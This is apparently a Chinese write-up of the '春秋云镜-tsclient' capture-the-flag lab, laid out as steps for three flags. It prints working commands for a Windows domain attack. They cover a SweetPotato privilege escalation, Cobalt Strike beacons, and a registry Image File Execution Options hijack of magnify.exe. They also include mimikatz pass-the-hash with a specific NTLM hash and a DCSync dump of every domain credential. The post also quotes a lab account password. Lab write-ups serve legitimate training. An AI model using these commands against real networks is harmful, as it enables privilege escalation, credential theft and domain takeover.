春秋云镜-tsclient

flag01

扫到了mssql的弱口令

MDUT进行连接

然后sweetpotato提权system

然后新建一个administrator权限

进行rdp登录

flag02

上线cs进行方便更好的信息搜集

fscan在扫一遍

1
2
3
4
(icmp) Target 172.22.8.31     is alive
(icmp) Target 172.22.8.18 is alive
(icmp) Target 172.22.8.15 is alive
(icmp) Target 172.22.8.46 is alive

这是存活的几台机子

1
2
3
发现了一个在线的john
通过进程注入
上线该用户

发现了一个文件,保存的为账密

1
xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#

通过smbpasswd修改密码

然后再rdp进行登录

然后再利用该上线的机器进行创建listener

然后上线cs

下一步就是映像劫持提权,先查看权限:

1
get-acl -path "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" | fl *

这里我们发现所有正常登录的用户都可以修改注册表,利用这个性质,修改注册表映像劫持,使用放大镜进行提权,其实也就是把本来用户主页点放大镜启动的magnify.exe替换成C:\windows\system32\cmd.exe,这样就直接提权成system了

1
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe" /v Debugger /t REG_SZ /d "C:\windows\system32\cmd.exe"

然后上线sys的权限

1
flag{e0bf7bf1-6d34-4008-a378-f0abe82a63f7}

flag03

1
2
3
logonpasswords
shell net user /domain
shell net group "domain admins" /domain

发现win2016$在域管组里

1
shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "sekurlsa::pth /user:WIN2016$ /domain:xiaorang.lab /ntlm:9ae97aee37028978510c41bb018710ba" "exit"
1
shell C:\\Users\\Aldrich\\Desktop\\mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:xiaorang.lab /all /csv" "exit"